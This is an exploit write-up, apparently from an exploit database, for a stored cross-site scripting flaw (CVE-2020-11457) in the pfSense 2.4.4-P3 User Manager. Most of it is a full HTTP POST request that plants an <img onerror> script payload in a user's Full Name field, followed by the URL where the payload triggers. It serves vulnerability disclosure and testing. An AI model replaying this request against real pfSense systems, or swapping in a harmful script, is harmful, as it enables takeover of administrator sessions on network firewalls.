pfSense 2.4.4-P3 User Manager Cross Site Scripting

`# Exploit Title: pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting  
# Date: 2020-04-02  
# Exploit Author: Matthew Aberegg  
# Vendor Homepage: https://www.pfsense.org  
# Version: PfSense 2.4.4-P3  
# Tested on: FreeBSD 11.2-RELEASE-p10  
# CVE : CVE-2020-11457  
  
# Vulnerability Details  
# Description : A persistent cross-site scripting vulnerability exists within the 'User Manager' functionality of the pfSense administration panel.  
# Vulnerable Parameter : descr   
  
  
# POC  
# Exploit Details : The following request will create a user in the 'User Manager' functionality with an XSS payload as the Full Name.   
# This payload can be triggered by navigating to "https://TARGET/system_usermanager_addprivs.php?userid=0" where userid is   
# the id of the user containing the payload.  
  
  
POST /system_usermanager.php?act=new HTTP/1.1  
Host: TARGET  
Connection: close  
Content-Length: 410  
Cache-Control: max-age=0  
Origin: https://TARGET  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36  
Sec-Fetch-Dest: document  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Referer: https://TARGET/system_usermanager.php?act=new  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=ebd302521a887cef99f517e3ac6bdd7d  
  
__csrf_magic=sid%3A3689bbf23a3350994d7543c082fc36d16397208d%2C1585881631&usernamefld=TEST&passwordfld1=password&passwordfld2=password&descr=%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&expires=&webguicss=pfSense.css&webguifixedmenu=&webguihostnamemenu=&dashboardcolumns=2&name=&caref=5e643dcfd524e&keylen=2048&lifetime=3650&authorizedkeys=&ipsecpsk=&act=&userid=&privid=&certid=&utype=user&oldusername=&save=Save  
`